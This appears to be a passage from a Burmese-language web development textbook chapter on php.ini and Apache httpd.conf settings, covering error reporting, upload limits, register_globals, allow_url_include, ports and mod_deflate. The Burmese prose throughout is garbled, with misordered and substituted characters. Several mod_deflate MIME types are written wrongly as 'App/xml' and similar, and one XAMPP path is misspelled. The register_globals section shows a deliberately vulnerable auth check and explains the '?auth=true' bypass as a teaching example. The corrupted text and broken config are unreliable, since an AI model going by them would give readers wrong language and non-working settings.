Server  ကြ  Respond  ပပနတ်ဲ့အခါ  Response Header  ထဲမာှ  PHP Version  ကုိြ ထည့်သွငး်ိပးသွား မာှပဖေစ်ပါ
တယ်။  Off ထားရေင်ိ တာ့  ဒလီိုထည့်သွငး်ိပးမာှ  မဟတု်ိ တာပ့ါဘူး။  Off ထားတာ  ကြ  လုံပခုံိရေးအတက်ွြ
အိထာက်ြအကူြ ပဖေစ်ိစနိုငပ်ါတယ်။  Web App  တစ်ခကုိုြ တုိက်ြခိုကြလ်ိုသူိတဟွာ၊ မတိုက်ြခိုက်ြမီ အ့ဲဒီ  Web App
မာှ အသံုးပပုထားတဲ့ နညး်ပညာစာရေငး်ကြို အရေင် စုစညး်ရေိလ့ ရေှိပါတယ်။  Expose PHP  ကုိြ ပတိထ်ားရေငလ်ညး်ပဲ
တိုက်ြခိုက်ြလိုသူိတကွြ ကုိြယအ်သံုးပပုထားတဲ့ PHP Version ကုိြ ရေယူနိုငတ်ဲ့ အပခား နညး်ိတ ွရေှိပါိသးတယ်။ ဒါိပ
မယ့် အလယ်ွတစ်ကူြ မသိရေိတာလ့ို့ အတိုငး်အတာတစ်ခထု ိအဟန့်အတား ပဖေစ်သွားိစမာှ ပဖေစ်ပါတယ်။

Resource Usages

max_execution_time = 30

PHP Script  တစ်ခရုေဲ့  အလပုလ်ပုရ်ေန်  အအကြာဆံုးခငွ့်ပပုချနိကုိ်ြ  max_execution_time Setting  နဲ့  ကြန့်သတ်
ထားနိုငပ်ါတယ်။  တနဖ်ေိုးကုိြ  စကြ္ကန့်နဲ့သတမ်တှ်ိ ပးရေပါတယ်။  ဒလီို  သတမ်တှထ်ားပခင်းအားပဖေင့်  Script  တစ်ခဟုာ
သတမ်တှခ်ျနိအ်တငွး်  ပပးီစီးိအာင်  အလပုမ်လပုန်ိုငရ်ေင်  အလိုလိုရေပတ်န့်ိ ပးသွားမာှပဖေစ်ပါတယ်။  တစ်စကြ္ကန့်မာှ
Instruction  ိပါငး် သနး်နဲခ့ျအီလပုလ်ပုန်ိုငတ်ဲ့  CPU ိတွိ အကြာင့်  Script  ဖေိုငတ်စ်ခရုေဲ့  အလပုလ်ပုပ်ုံဟာ မလီစီကြ္ကန့်
တစ်ချို ့သာ အကြာသင့်ပါတယ်။ ဒထီက်ြပိုအကြာိနပပဆုိီရေင် ိရေးသားထားတဲ့ Code ရေဲ့  စွမး်ိဆာငရ်ေညကုိ်ြ ပပနလ်ည် စီစစ်
ရေိတာမ့ာှ ပဖေစ်ပါတယ်။ 
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memory_limit = 128M

PHP  Script  တစ်ခကုိုြအပမင့်ဆံုးအသံုးပပုခငွ့်ိ ပးမယ့်  Memory  ပမာဏကုိြလညး်  memory_limit Setting
သတမ်တှထ်ားနိုငပ်ါတယ်။ ပမာဏကုိြ Megabyte အတက်ွြ M Unite နဲ့သတမ်တှ်ိ ပးရေပပးီ Gigabyte ဆုိရေင် G Unit
နဲ့သတမ်တှ် ိပးရေပါတယ်။ Script  တစ်ခကုြ Memory ပမာဏအများကကီြး အသုံးပပုိနရေင်  Server Performance
ကုိြထခိိုက်ြိစနိုငပ်ါတယ်။ ဒါိအကြာင့် ဒ ီSetting ကုိြလညး် ချင့်ချနိသ်တမ်တှထ်ားဖေို့လိုအပပ်ါတယ်။

Error Reporting

error_reporting = E_ALL & ~E_DEPRECATED

ကြျွန်ိ တာတ်ို့ရေဲ့  PHP  Code  ထဲမာှ  အမာှးိတပွါလာတဲ့အခါ  အ့ဲဒအီမာှးိတအွတက်ွြ  Error  Message  ိတကုိွြ
ဘယ်လိုပုံစံ ိဖောပ်ပသင့်သလဆိဲတုာကုိြ error_reporting Setting နဲ့ သတမ်တှထ်ားနိုငပ်ါတယ်။ တနဖ်ေိုးအိနနဲ့
Pre-Defined Constant လ့ုိိခါ်တဲ့ ကကိြုတငသ်တမ်တှထ်ားတဲ့ တနဖ်ေိုးိတွိ ပးနိုငပ်ါတယ်။ ိပးနိုငတ်ဲ့ တနဖ်ေိုးိတထွဲ
ကြ အဓကိြအကြျဆံုး Constant ိတကွြိတာ့ E_ALL, E_ERROR, E_WARNING, E_PARSE, E_NOTICE
နဲ့ E_DEPRECATED တို့ပ ဲပဖေစ်ပါတယ်။ 

E_ALL ကြိတာ့  Error  အားလုံးဆိုတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။  error_reporting = E_ALL ဆုိရေင်  ရေှိသမျှ
Message  အားလုံးကုိြ  ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။  E_ERROR ကြိတာ့  Fatal  Error  လိုိ့ ခါ်တဲ့  Script  ဘယ်လိုမှ
ဆက်ြအလပု်  မလပုန်ိုင်ိ လာက်ြတဲ့  ဆုိးရောွးတဲ့  Error  အမျို းအစားများပဖေစ်ပါတယ်။  E_WARNING ဆုိတာကြိတာ့
Fatal  Error  ိတွိ လာက်ြမဆုိးတဲ့  မာှးယွင်းိနနိုင်ိ အကြာငး်  သတိိ ပးချက်ြိတပွဖေစ်ပါတယ်။  E_PARSE ကြိတာ့
Script  ရေဲ့ိရေးထုံးမာှမာှးိနလို့ အလပုမ်လပုန်ိုငတ်ဲ့  Error  အမျို း အစားပဖေစ်ပါတယ်။  E_NOTICE ကြိတာ့ အမာှး
အတက်ွြမဟတုပ်ါဘူး၊ မသံုးသင့်တဲ့အသံုး၊ မိရေးသင့်တဲ့ အိရေးအသားမျို း နဲ့ ိရေးသားထားမိိ အကြာငး် သတိိ ပးချက်ြ
တစ်မျို းပဖေစ်ပါတယ်။ ဥပမာ - မရေှိတဲ့ Array Index တစ်ခု ကြတနဖ်ေိုးကုိြ ရေယူဖေို့ ကကိြုးစားမိိ နတဲ့အခါ မျို းမာှ Notice
ိပးတက်ြပါတယ်။  E_DEPRECATED ကြိတာ့  လက်ြရေှိအသံုးပပုနိုင်ိ ပမယ့်  ိနာက်ြပိုငး်  PHP  Version  ိတမွာှ
ထည့်သွငး်ပါဝင်ိ တာမ့ာှမဟတုတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြတစ်ခကုိုြ အသံုးပပုထားတဲ့အခါ သတိိပးပခင်းပဖေစ်ပါတယ်။

error_reporting = E_ERROR & E_WARNING လ့ုိသတမ်တှထ်ားမယ်ဆိရုေင် Fatal Error နဲ့  Warning
အတက်ွြ Message ိတကွြလွဲပပးီ ကြျန် Message ိတကုိွြ ိဖောပ်ပမာှမဟတုပ်ါဘးူ။ Development မာှအသံုးပပုိလရ့ေှိ
တာကြိတာ့  E_ALL & ~E_DEPRECATED ဆုိတဲ့တနဖ်ေိုးပဖေစ်ပါတယ။် အဓပိ္ပါယ်ကြ  Deprecated  သတိိ ပးချက်ြ
ိတ ွကြလွဲရေငက်ြျန် Error အားလုံးကုိြ ိဖောပ်ပမယ်ဆုိတဲ့ အဓပိ္ပါယ် ပဖေစ်ပါတယ်။ ~ Sign ိလးကြ Not ဆုိတဲ့ အဓပိ္ပါယ်
ပါ။ error_reporting = 0 လို့သတမ်တှထ်ား ရေင်ိ တာ့ Error Message ိတကုိွြ လံုးဝိဖောပ်ပမာှမဟတု်ိ တာ့
ပါဘးူ။ ဒါိပမယ့်  Error  ိတ ွမိဖောပ်ပိစချငယံု်သက်ြသကြန်ဲ့  ဒလီိုမသတမ်တှသ်င့်ပါဘးူ။ ကုိြယ့်  Script  ဘာပဖေစ်လို့
ပဖေစ်ိနမနှး်မသိ  ပဖေစ်သွားနိုငပ်ါတယ်။   Error  ိဖောပ်ပပခငး်၊  မိဖောပ်ပပခငး်ကြို  display_errors Setting  နဲ့
သတမ်တှန်ိုငပ်ါတယ်။
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display_errors = On

display_errors Setting  အတက်ွြ  On နဲ့  Off တနဖ်ေိုးနစ်ှခု  သတမ်တှန်ိုငပ်ါတယ။်  On ထားရေင်  Error
Message ိတကုိွြ error_reporting မာှသတမ်တှထ်ားတဲ့အတိုင်း ိဖောပ်ပိပးမာှပါ။ Off ထားရေင်ိ တာ့ Error
Message  ိတကုိွြိဖောပ်ပမာှ  မဟတု်ိ တာပ့ါဘးူ။  ဒါိပမယ့်  Log  အိနနဲ့  မတှတ်မး်ယူထားိပးမာှပဖေစ်ပါတယ်။  ဒါ
ိအကြာင့် Development မာှ On ထားပပးီ Production မာှ Off ထားိလရ့ေှိအကြပါတယ်။ Off ထားတဲ့ အတက်ွြ Error
ိတကုိွြ မိဖောပ်ပိပမယ့် ကြျွန်ိ တာတ်ို့ ိလလ့ာနိုင်ိ အာင ်Log လုပထ်ားိပးမာှပဖေစ်လို့ အသံုးဝငပ်ါတယ်။

Register Global

register_globals = Off

PHP ကြ Request  နဲ့အတပူါဝငလ်ာတဲ့တနဖ်ေိုးိတကုိွြ $_GET, $_POST, $_REQUEST, $_COOKIE အစရေှိ
တဲ့  Superglobal  ိတနွဲ့လက်ြခထံားိပးတာကုိြ  ကြျွန်ိ တာတ်ို့  ိလလ့ာခဲ့အကြပပးီ  ပဖေစ်ပါတယ။်   Register  Global
Setting  ကုိြ  On ထားမယ်ဆုိရေင်  Request  နဲ့အတပူါဝငလ်ာတဲ့ တနဖ်ေိုးိတကုိွြ  Superglobal  ိတနွဲ့လက်ြခပံပငဆ်င်
ထားယံုမျှမကြ အသင့်သံုးနိုငတ်ဲ့  Variable ိတ ွအပဖေစ်ပါ PHP ကြ ပပငဆ်ငထ်ားိပးပါိသးတယ်။ ဒလီိုပပင်ဆင်ိ ပး
ထားပခငး်ဟာ မသံုးတက်ြရေင ်အိတာ်ိ လးကကီြးကြျယ်တဲ့ လုံပခုံိရေးပပဿနာရေှိနိုငပ်ါ တယ်။ ဥပမာ - 

if ($_SESSION['auth']) { 
  $auth = true;
} 

if($auth) {
  // Do Important Things
}

နမနူာမာှ auth Session ရေှိိ နမာှသာ $auth Variable ကုိြ true တနဖ်ေိုးသတမ်တှ်ိ စမာှပဖေစ်ပါတယ်။ ိနာက်ြပိုငး်
မာှ အိရေးကကီြးတဲ့လပု်ိ ဆာငခ်ျက်ြိတလွပုဖ်ေို့လိုတိုငး် ဒီ $auth Variable နဲ့စစ်ိ ဆးိဆာငရ်ေက်ွြ ိစတဲ့သိဘာပဖေစ်ပါ
တယ်။  register_globals ကုိြသာ On ထားရေင်  Request  မာှ  ?auth=true ဆုိတဲ့  Query String ပါဝင်
လာခဲ့ရေင် ဒီ တနဖ်ေိုးကုိြ PHP ကြ ထံုးစံအတိုငး် $_GET Superglobal ရေဲ့  auth Index မာှ လက်ြခထံားိပးယံုမျှမကြ
$auth = true ဆုိတဲ့  Variable တစ်ခကုိုြလညး် အလိုအိလျှာက်ြ ိအကြပငာသတမ်တှ်ိ ပးသွားမာှပဖေစ်ပါတယ်။ ဒီ
ိတာ့ ကြျွန်ိ တာတ်ို့ နမနူာအရေ ဆုိရေင် auth Session ရေှိရေှိမရေှိရေှိ $auth Variable ရေဲ့တနဖ်ေိုး true ပဖေစ်သွားိစမာှပဖေစ်
လို့ အိရေးကကီြးတဲ့ လုပ ်ိဆာငခ်ျက်ြကုိြ အခငွ့်မရေှိလညး်ပလဲပုလ်ို့ရေသွားနိုင်ိ စသလိုပဖေစ်ိနပါတယ်။ ဒလီိုပပဿနာိတ ွရေှိ
နိုငလ်ို့  register_ globals Setting ကုိြ Off လပုထ်ားရေမာှပဖေစ်ပါတယ်။ PHP 7 မာှိတာ့ ဒီ  Setting ပါဝင်
လာမာှ မဟတု်ိ တာပ့ါဘးူ။
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Request Size and File Upload Limit

post_max_size = 8M

POST Request ိတနွဲ့အတပူါဝငလ်ာတဲ့ Data ပမာဏကုိြ post_max_size နဲ့ ကြန့်သတထ်ားနိုငပ်ါတယ်။ ရုိးရိုး
Request Data ိတကွြိတာ့ ပမာဏအများကကီြးရေှိခပဲါတယ်။ Request  နဲ့အတူ File  ိတပွါဝငလ်ာမသှာ ပမာဏကြ
များ တက်ြတာပါ။ လုိအပသ်လို သတမ်တှထ်ားနိုငပ်ါတယ်။ တနဖ်ေိုးကုိြ  Megabyte အတက်ွြ M Unite နဲ့  Gigabyte
အတက်ွြ G Unit အသံုးပပုပပးီ သတမ်တှ်ိ ပးရေပါတယ်။

file_uploads = On

File Upload  ခငွ့်ပပုမပပုကုိြ  file_uploads Setting  နဲ့သတမ်တှထ်ားနိုငပ်ါတယ်။ တနဖ်ေိုးကြ On ဆုိရေင် ခငွ့်ပပု
တယ် ဆုိတဲ့အဓပိ္ပါယ်ပဖေစပ်ပးီ Off ဆုိရေင်ိ တာ ့File Upload ခငွ့်ပပုမာှမဟတု်ိ တာပ့ါဘးူ။ 

upload_max_filesize = 2M

File  Upload  ခငွ့်ပပုထားတယ်ဆုိရေင်  Upload  လပုလ်ာတဲ့  File  တစ်ခခုျငး်စီရေဲ့  အပမင့်ဆံုးလက်ြခတံဲ့  ပမာဏကုိြ
upload_ max_filesize Setting နဲ့ ကြန့်သတထ်ားနိုငပ်ါတယ်။ ထံုးစံအတိုငး်တနဖ်ေိုးကုိြ Megabyte အတက်ွြ
M Unite နဲ့ Gigabyte အတက်ွြ G Unit အသံုးပပုပပးီသတမ်တှ်ိ ပးရေပါတယ်။ Server ရေဲ့  Capacity နဲ့ အသံုးပပု သူ
အိရေအတက်ွြိပါ်မတူညပ်ပးီ သင့်ိ တာသ်လိုသတမ်တှ်ိ ပးထားနိုငပ်ါတယ။်

Allow URL as File (or Not)

allow_url_fopen = Off

PHP နဲ့ file_get_content() လုိ Function သံုးပပီး File ိတကုိွြဖေငွ့်ယူအသံုးပပုတဲ့အခါ လက်ြရေှိ Server ိပါ်
မာှရေှိိ နတဲ့ File ိတသွာမကြ URL အိနနဲ့ိ ပးလာတဲ့ အပခား Server ကြ Resource ိတကုိွြပါ File အိနနဲ့ အလပု်
လပုခ်ငွ့်ပပုမပပုကုိြ  allow_url_fopen Setting  နဲ့  သတမ်တှထ်ားနိုငပ်ါတယ်။  အထးူလိုအပခ်ျက်ြမရေှိရေင်ိ တာ့
Off လပုပ်ပးီ ပတိထ်ားသင့်ပါတယ်။ လံုပခုံိရေးအတက်ွြ တစ်နညး်တစ်ဖေုံအိထာက်ြ အကူြပဖေစ်ိ စပါတယ်။

allow_url_include = Off

File Include  လုပတ်ဲ့အခါမာှလညး် လက်ြရေှိ  Server  မာှရေှိတဲ့  File  ိတသွာမကြ  URL  အိနနဲ့ိ ပးလာတဲ့ အပခား
Server ကြ Resource ိတကုိွြပါ Include လုပခ်ငွ့်ပပုမပပု allow_url_include Setting နဲ့ သတမ်တှထ်ားနိုင်
ပါတယ်။ သူလညး်ပ ဲမလိုအပရ်ေင ်Off လုပထ်ားတာပဲိ ကြာငး်ပါတယ်။
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Timezone

date.timezone = Asia/Rangoon

Date/Time  နဲ့ပတသ်က်ြပပီး  အလပုလ်ပုရ်ေတိုင်း  Default  Timezone  အိနနဲ့အသံုးပပု  ိစလိုတဲ့  တနဖ်ေိုးကုိြ
date.timezone ဆုိတဲ့  Setting  နဲ့သတမ်တှထ်ားိပးပါတယ်။  မမိအိသံုးပပု  အလပုလ်ပု်ိ စလိုတဲ့  Timezone
အမညကုိ်ြ မနှက်ြန်ိ အာင် သတမ်တှထ်ားိပးရေမာှ ပဖေစ်ပါတယ်။ သတမ်တှန်ိုငတ်ဲ့  Timezone  အမညစ်ာရေငး် အပပည့်
အစံုကြို  http://www.php.net/manual/en/timezones.php မာှ  ိလလ့ာနိုငပ်ါတယ်။  ပမနမ်ာနိုငင်ရံေဲ့  Standard
Time ကုိြသတမ်တှ်ိ ပးလိုရေင်ိ တာ ့Asia/Rangoon ဆုိတဲ့ တနဖ်ေိုးကုိြ သတမ်တှ်ိ ပးရေမာှပါ။

အခုိ ဖောပ်ပခဲ့တာိတကွြိတာ့ မပဖေစ်မိနသိရေှိသင့်တဲ့ Setting ိတပွဖေစ်ပပးီ Setting အပပည့်အစံုကုိြ ိအာက်ြပါလပိစ်ာမာှ
ဆက်ြလက်ြိလလ့ာနိုငပ်ါတယ်။

http://www.php.net/manual/en/ini.list.php

8.2 - Setting Configuration on Run-Time
Setting  ိတကုိွြ  php.ini မာှ တိုက်ြရုိက်ြမသတမ်တှပ်ဲ  PHP Code  ထမဲာှထည့်သွငး်ိရေးသားပခင်းအားပဖေင့်လညး်
သတမ်တှ်  နိုငပ်ါိသးတယ်။  အသံုးပပုရေတဲ့  Function  ိတကွြိတာ့  ini_get(),  ini_set() နဲ့
ini_restore() တို့ပဲ ပဖေစ်ပါတယ။်

ခငွ့်ပပုထားတဲ့  အပမင့်ဆံုး  Upload  File  Size  ကုိြ  ရေယူလိုရေင်  ini_get("upload_max_filesize") လို့
ိရေးသားိပးပခငး်  အားပဖေင့်  ရေယူနိုငပ်ါတယ်။  ini_get() Function  ကြ လက်ြရေှိ  Setting  တနဖ်ေိုးကုိြပပန်ိ ပးတဲ့
Function တစ်ခပုဖေစ်ပါတယ်။

Error  Report  Setting  ကုိြသတမ်တှလ်ိုရေင်  ini_set("error_reporting", "E_ALL") လိုိ့ ရေးသား
သတ် မတှန်ိုငပ်ါတယ်။ ini_set() Function ကြ Setting တနဖ်ေိုးိတကုိွြ Run Time မာှသတမ်တှ်ိ ပးပါတယ်။
တစ်ချို ့ Setting ိတကွြိတာ့ Run Time မာှ သတမ်တှလ်ို့မရေနိုငလ်ို့ ini_set() Function နဲ့ သတမ်တှလ်ို့မရေပါ
ဘးူ။  http://www.php.net/manual/en/ini.list.php မာှ  Setting  တနဖ်ေိုးိတကုိွြ  ိဖောပ်ပတဲ့အခါ  php.ini
Only လ့ုိမတှခ်ျက်ြ ိရေးသားိဖောပ်ပထားတဲ့ Setting ိတဟွာ ini_set() နဲ့ သတမ်တှလ်ို့မရေတဲ့  Setting ိတပွဖေစ်
ပါတယ်။  ini_set() Function  နဲ့  Setting  ကုိြပပငဆ်ငထ်ားပပးီမှ  မလူတနဖ်ေိုးကုိြ  ပပန်ိ ပပာငး်  လုိချငရ်ေင်ိ တာ့
ini_restore() Function ကုိြ အသံုးပပုနိုငပ်ါတယ်။

http://www.php.net/manual/en/ini.list.php
http://www.php.net/manual/en/ini.list.php
http://www.php.net/manual/en/timezones.php
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8.3 - Apache Setting
ဆက်ြလက်ြပပးီ Apache Web Server နဲ့ပတသ်က်ြတဲ့  Setting ိတကုိွြ ိဖောပ်ပိပးပါမယ်။ XAMPP ကုိြ Windows
မာှအသံုးပပုိနသူများအတက်ွြ  Apache  Setting  File  တညရ်ေှိတဲ့  Location  ကြိတာ့  C:\xampp\apach\
conf\httpd.conf ပဖေစ်ပါတယ်။ Linux မာှဆုိရေင် /opt/lampp/etc/httpd.conf ပဖေစ်ပါတယ်။ 

အ့ဲဒီ httpd.conf ကုိြ Code Editor နဲ့ ဖေငွ့်အကြည့်လိုက်ြရေင ်အခလုိုိ တွ့ရေနိုငပ်ါတယ်။

# This is the main Apache HTTP server configuration file.  It contains the 
# configuration directives that give the server its instructions. 
... 
# ServerRoot: The top of the directory tree under which the server's 
# configuration, error, and log files are kept. 
# 
# Do not add a slash at the end of the directory path. # 
ServerRoot "/opt/lampp" 
...
# Listen: Allows you to bind Apache to specific IP addresses and/or 
# ports, instead of the default. See also the <VirtualHost> 
# directive. 
#Listen 12.34.56.78:80 
Listen 80 
...
# Example: 
# LoadModule foo_module modules/mod_foo.so 
LoadModule authn_file_module modules/mod_authn_file.so 
LoadModule authn_dbm_module modules/mod_authn_dbm.so 
... 

# Sign  နဲ့စထားတဲ့လိုငး်ိတကွြ မတှခ်ျက်ြိတပွဖေစ်ပါတယ်။  php.ini ကြ  Semicolon  ကုိြ မတှခ်ျက်ြထည့်သွငး်ဖေို့
အသံုးပပုိပမယ့် httpd.conf ကြ # Sing ကုိြအသံုးပပုပခငး်ပဖေစ်ပါတယ်။ သူလညး်ပဲ သက်ြဆိုငရ်ော Setting ိတရွေဲ့
အသံုးပပုပုိံ တကုိွြ မတှခ်ျက်ြအိနနဲ့ တစ်ပါတညး်တွဲဖေက်ြိပးထားတာပါ။ 

Port Setting

Listen 80

ပထမဆံုးမတှသ်ားသင့်တဲ့  Setting  ကြိတာ့  Listen  ပဖေစ်ပါတယ်။  Listen  Setting  ကုိြသံုးပပးီ  Apache  Web
Server  ကြ တာဝနယူ်ိဆာငရ်ေက်ွြရေမယ့်  Port No.  ကုိြသတမ်တှ်ိ ပးနိုငပ်ါတယ။်  Web Server  အတက်ွြ  Default
Port နပံါတဟ်ာ 80 ပဖေစ်ပါတယ်။ httpd.conf မာှလညး် 80 ကုိြပဲ သတမ်တှထ်ားမာှပဖေစ်ပါတယ်။ php.ini မာှ
လို Setting နဲ့ တနဖ်ေိုးအကြား Equal Sign နဲ့ ခွဲပခားိရေးသားစရောမလိုတာကုိြ သတပိပုပါ။ 

အိအကြာငး်အမျို းမျို းိအကြာင့် လိုအပရ်ေင် 80 အစား အပခားနပံါတတ်စ်ခနုဲ့ ိပပာငး်လနဲိုငပ်ါတယ်။ ဥပမာ Listen 90
လို့သတမ်တှခ်ဲ့မယ်ဆုိရေင်  Web  Server  ကုိြ  Request  လုပတ်ဲ့အခါ  http://localhost:90/ ဆုိပပးီ  Host  Name
ိနာက်ြကြိန Port  နပံါတပ်ါထည့်သွငး်  Request  လုပ်ိ ပးရေမာှပဖေစ်ပါတယ်။  အများအားပဖေင့်  ကွြနပ်ျူတာ တစ်လုံး

http://localhost:90/
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တညး်မာှ Web Server နစ်ှခသံုုးခု ထည့်သွင်းစမး်သပလ်ိုတဲ့အခါမျို းမာှ Listen Port ကုိြိပပာငး်ိပးဖေို့ လိုအပ် က်ြပါ
တယ်။ Web Server  တစ်ခကုြ Default Port  ပဖေစ်တဲ့  80 ကုိြအသံုးပပုထားရေင် ိနာက်ြထပ်  Web Server ကြ အ့ဲဒီ
Port  ကုိြအသံုးပပုနိုင်ိ တာမ့ာှမဟတုပ်ါဘူး။ ဒါိအကြာင့်  အ့ဲဒီိ နာက်ြ  Server  ကုိြ  Listen Port  ိပပာငး်ိပးဖေို့  လိုအပ်
တက်ြပခငး်ပဖေစ်ပါတယ်။  လုိအပလ်ို့  ိပပာငး်ရေတဲ့အခါ  90, 8080, 8888 စသပဖေင့်  မလူတနဖ်ေိုး  80 နဲ့  နးီစပတ်ဲ့
တနဖ်ေိုးိတွိ ပးိလရ့ေှိအကြပါတယ်။ ိပးချငတ်ဲ့ နပံါတကုိ်ြိပးလို့ရေပါတယ်။ ဒါိပမယ့် ကုိြယ်ိပးလိုက်ြတဲ့ နပံါတက်ြ စက်ြ
ထမဲာှရေှိတဲ့ တစ်ပခား Service တစ်ခခုကုြ သံုးိနတဲ့ နပံါတ် မဟတုဖ်ေိုိ့ တာ့ လုိပါတယ်။ ိနာက်ြတစ်ချက်ြ သတပိပုသင့်
တာကြ စက်ြထမဲာှ Firewall ရေှိရေင် Firewall ကြ ပုံမနှမ်ဟတုတ်ဲ့ Port နပံါတ်ိ တကုိွြ အလပုလ်ပုခ်ငွ့်မပပုပဲ ပတိထ်ား
တားမျို း ပဖေစ်တက်ြတာကုိြ သတပိပုသင့်ပါတယ်။

မတ်ှချကြ။် ။ php.ini နဲ့  httpd.conf တုိမ့ာှ  Setting  ိတွကြိို ပပာငး်ပပးီရေင် ိပပာငး်လုိကြတ့ဲ်တနဖ်ေိုးိတွနဲ့ အလုပလု်ပ်ိ စဖေို့
အတွကြ်  Web Server  ကြို  Restart  လုပ်ိ ပးဖေို့လုိပါတယ။်  Configuration  ိတွကြို  Server  အစမာှ ရေယအူလုပလု်ပပ်ခငး်ပဖေစ်လုိ့
ပပငလုိ်ကြယ်ုံနဲ့ ချကြပ်ခငး် Effect ပဖေစမ်ာှမဟတ်ုပါဘးူ။ Server ကြို Restart လုပ်ိ ပးဖေို့ လုိအပပ်ါတယ။်

Apache  ရေဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  Module  များနဲ့ ထပ်ိ ပါငး်ပဖေည့်စက်ွြလို့ရေပါတယ်။  XAMPP  ကြ အသံုးဝငတ်ဲ့
Module  များကုိြတစ်ပါတညး် ထည့်သွင်ိ ပးထားပါတယ်။ အသံုးပပုလိုတဲ့  Module  ိတကုိွြ  httpd.conf ထမဲာှ
LoadModule Setting  သံုးပပးီသတမ်တှ်ိ ပးရေပါတယ်။  XAMPP  ကြ  Module  ိတကုိွြ  httpd.conf ထဲမာှ
ထည့်သွငး်ိအကြပငာထားိပမယ့် တစ်ချို ့ကုိြ ိရေှ့ကြ # Sign ခပံပးီ အလပုမ်လပု်ိ အာင ပတိ်ိ ပးထားတာကုိြလညး်ိတွ့ရေ
နိုငပ်ါတယ။်  သတပိပုသင့်တဲ့ Module တစ်ချို ့အိအကြာငး်ိဖောပ်ပိပးပါမယ်။

Compression Module

LoadModule deflate_module modules/mod_deflate.so

Apache Web Server ကြ Document ိတကုိွြ Respond ပပန်ိ ပးတဲ့အခါ၊ Document ရေဲ့  Size ကုိြ ိသးကြျုံ့သွား
ိအာင်  Compress  လပုပ်ပးီမှ  Respond  ပပန်ိ ပးိစဖေို့  mod_deflate Module  ကုိြ  အသံုးပပုနိုငပ်ါတယ်။
mod_gzip လ့ုိိခါ်တဲ့  အလားတူ  Module  လညး်ရေှိပါိသးတယ်။  mod_deflate ကုိြပိုအသံုးများအကြပါတယ်။
Gzip နဲ့ Deflate တို့ဟာ Compress Algorithm ိတပွဖေစ်ပပးီ Text Content ိတကုိွြ ၇၀% ိကြျာထ်ိိ သးကြျုံ့သွား
ိအာင်  Compress  လပု်ိ ပးနိုငအ်ကြပါတယ်။  HTML, CSS, JavaScript  စတဲ့  Document  ိတဟွာ အမနှ်ိ တာ့
Text Document ိတခွျညး်ပပဲဖေစ်ပါတယ်။

mod_deflate Module  ိအကြပငာထားတဲ့လိုငး်ကုိြ  # Sign  နဲ့ပတိမ်ထားတာိသချာိအာင် ဦးဆံုးစစ်ိဆးိပးပါ။
ပပးီရေင် Compress လုပ်ိ စလိုတဲ့ Content အမျို းအစားကုိြ httpd.conf ထမဲာှပ ဲအခလုိုိ အကြပငာ သတမ်တှ်ိ ပးနိုင်
ပါတယ်။



Professional Web Developer - အခန်း (၈) PHP and Apache Settings 303

<IfModule mod_deflate.c> 
  AddOutputFilterByType DEFLATE text/plain 
  AddOutputFilterByType DEFLATE text/html 
  AddOutputFilterByType DEFLATE text/xml 
  AddOutputFilterByType DEFLATE text/css 
  AddOutputFilterByType DEFLATE App/xml 
  AddOutputFilterByType DEFLATE App/xhtml+xml 
  AddOutputFilterByType DEFLATE App/rss+xml 
  AddOutputFilterByType DEFLATE App/javascript 
  AddOutputFilterByType DEFLATE App/x-javascript 
  AddOutputFilterByType DEFLATE image/x-icon 
</IfModule>

ဒလီိုသတမ်တှ်ိ ပးလိုက်ြတယ်ဆုိရေင်  Apache  ကြ  HTML, CSS, JavaScript, XML  နဲ့  Icon  ိတကုိွြ အရေငဆံု်း
Compress လုပပ်ပးီမ ှRespond ပပန်ိ ပးမာှပဖေစ်ပါတယ်။ Response Header ထဲမာှလညး် Deflate Algorithm ကုိြ
သံုးပပီး  Compress  လပုထ်ားိအကြာငး်  ထည့်သွငး်ိပးသွားမာှပဖေစ်ပါတယ်။  ဒီိ တာမ့ှ  Respond  ကုိြလက်ြခရံေရေှိတဲ့
Browser  ကြ Compress  လပုထ်ားိအကြာငး်သိရေှိပပီး လုိအပသ်လို  Uncompress  ပပုလပုပ်ပးီ ိဖောပ်ပိပးနိုငမ်ာှပဖေစ်ပါ
တယ်။ Client နဲ့ Server ဆက်ြသွယ်မှု အများကကီြး ပိုပမနသွ်ားနိုငလ်ို့ အသံုးပပုသင့်တဲ့ Module တစ်ခပုဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ <IfModule mod_deflate.c> ... </IfModule> ဆုိတာကြ mod_deflate Module ရေှိမှ အထဲမာှ
ိရေးသားထားတ့ဲ လုပ်ိ ဆာငခ်ျကြ်ိ တွကြို အလုပလု်ပ်ိ စိအာင် စစ်ိ ဆးထားပခငး်ပဖေစပ်ါတယ။် mode_deflate Module မရေှိပဲ
DEFLATE Setting  ိတွသတ်မတ်ှမရိေင်  Configuration Error  ပဖေစန်ိုငလုိ့် ိသချာိအာင် စစလုိ်ကြတ့ဲ် သိဘာပါ။  Module  ရေှိ
တာ ိသချာရေင်  အဲ့ဒလုိီစစမ်ိနပဲ  DEFLATE Setting  ိတွကြို တုိကြရုိ်ကြတ်နး်ိရေးလုိရ့ေပါတယ။် ဒါိပမယ့် စစ်ိ ဆးပပးီိရေးသား
ပခငး်ဟာ အိလ့အကြျင့်ိ ကြာငး်တစခ်ု ပဖေစပ်ါတယ။်

ိဖောပ်ပခဲ့တဲ့ နမနူာမာှ ရေငှး်ိအာငခ်ွဲိ ရေးထားတာပါ။ အခလုိုတစ်ိအကြာငး်တညး်ိရေးလညး်ရေပါတယ်။

<IfModule mod_deflate.c> 
  AddOutputFilterByType DEFLATE text/plain text/html text/css 
</IfModule> 

Compress  လပု်ိ စလိုတဲ့  Content Type  ိတကုိွြ တစ်ိအကြာငး်တညး် တနး်စီိရေးသားလိုက်ြပခင်း  ပဖေစ်ပါတယ။် ဒီ
လပု် ိဆာငခ်ျက်ြနဲ့ အလားတလူပု်ိ ဆာငခ်ျက်ြကုိြ  PHP ကြလညး်လပု်ိ ပးနိုငပ်ါတယ်။ Output ကုိြ Compress လုပ်
ိပးတဲ့  ob_gzhandler()  လုိ  Function  မျို း  PHP  မာှ ရေှိပါတယ်။ ဒါိပမယ့်  Apache  မာှ တစ်ခါတညး်  Setting
လပုထ်ား လိုက်ြတာကြ ပိုပပးီထိိ ရောက်ြလယ်ွကူြပါတယ်။
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Cache Module

LoadModule expires_module modules/mod_expires.so

